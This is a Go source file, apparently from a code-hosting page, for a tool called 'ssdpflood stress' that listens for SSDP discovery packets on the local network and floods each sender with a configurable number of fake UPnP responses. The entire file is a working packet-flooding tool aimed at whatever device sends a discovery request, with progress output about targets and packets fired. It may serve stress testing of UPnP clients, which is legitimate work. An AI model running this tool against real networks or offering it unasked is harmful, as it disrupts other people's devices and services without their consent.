/server.go
Go | 128 lines | 97 code | 15 blank | 16 comment | 26 complexity | 086409bea7a9c12222981d3dec93a594 MD5 | raw file
- // ssdpflood stress listens for SSDP discovery packets, then floods the
- // sender with responses.
- package main
- import (
- "flag"
- "fmt"
- "net"
- "os"
- "regexp"
- "time"
- )
- const response = `
- HTTP/1.1 200 OK\r
- LOCATION: 127.0.0.1:4141/Invalid.xml\r
- SERVER: (null)\r
- ST:blahblahblah
- USN:uuid:UPnP-blah::urn:schemas-upnp-org:service:BLAHFOO:1\r
- `
- var (
- numPackets int64 = 1024
- ssdpSvc = "239.255.255.250:1900"
- ipBlacklist []*net.IPAddr
- ipWhitelist []*net.IPAddr
- delay time.Duration
- )
- func init() {
- var err error
- ipBlacklist = make([]*net.IPAddr, 0)
- ipWhitelist = make([]*net.IPAddr, 0)
- delay, err = time.ParseDuration("0s")
- if err != nil {
- panic("invalid default delay")
- }
- }
- /*
- func parseBlacklist(ipAddrs []string) {
- for _, ip := range ipAddrs {
- if ipAddr := net.ParseIP(ip); ipAddr != nil {
- ipBlacklist = append(ipBlacklist, ipAddr)
- } else {
- fmt.Println("[!] [blacklist] skipping invalid " +
- "address ", ip)
- continue
- }
- }
- }
- */
- func main() {
- fDelay := flag.Duration("d", delay, "specify delay between packets")
- ifaceName := flag.String("i", "eth0", "interface to listen on")
- nPkt := flag.Int64("n", numPackets, "number of packets to send")
- //fBlacklist
- flag.Parse()
- numPackets = *nPkt
- delay = *fDelay
- iface, err := net.InterfaceByName(*ifaceName)
- if err != nil {
- fmt.Printf("[!] invalid interface %s\n", *ifaceName)
- os.Exit(1)
- }
- gaddr, err := net.ResolveUDPAddr("up4", ssdpSvc)
- fmt.Println("[+] listening...")
- for {
- udpConn, err := net.ListenMulticastUDP("udp4", iface, gaddr)
- if err != nil {
- fmt.Println("[!] error listening on multicast: ",
- err.Error())
- os.Exit(1)
- }
- msg := make([]byte, 512)
- n, addr, err := udpConn.ReadFrom(msg)
- if n == 0 {
- continue
- } else if err != nil {
- fmt.Println("[!] multicast error: ", err.Error())
- continue
- }
- fmt.Println("[+] SSDP packet from", addr)
- if match, err := regexp.Match("^M-SEARCH \\*", msg); err != nil {
- fmt.Println("[!] regexp error: ", err.Error())
- continue
- } else if match {
- dumpUdpConn(udpConn, addr)
- }
- }
- }
- func dumpUdpConn(conn net.Conn, addr net.Addr) {
- defer conn.Close()
- start := time.Now()
- fmt.Println("[+] targetting", addr.String())
- for i := int64(0); i < numPackets; i++ {
- if (i > 0) && (i % 100 == 0) {
- fmt.Printf("\t[*] %d packets fired\n", i);
- }
- firePacket(addr)
- <-time.After(delay)
- }
- fmt.Println("\t[*] complete in", time.Since(start).String())
- }
- func firePacket(addr net.Addr) {
- ua, err := net.ResolveUDPAddr("udp4", addr.String())
- if err != nil {
- fmt.Println("[!] [firePacket]", err.Error())
- return
- }
- uc, err := net.DialUDP("udp4", nil, ua)
- if err != nil {
- fmt.Println("[!] [firePacket]", err.Error())
- return
- }
- defer uc.Close()
- uc.Write([]byte(response))
- }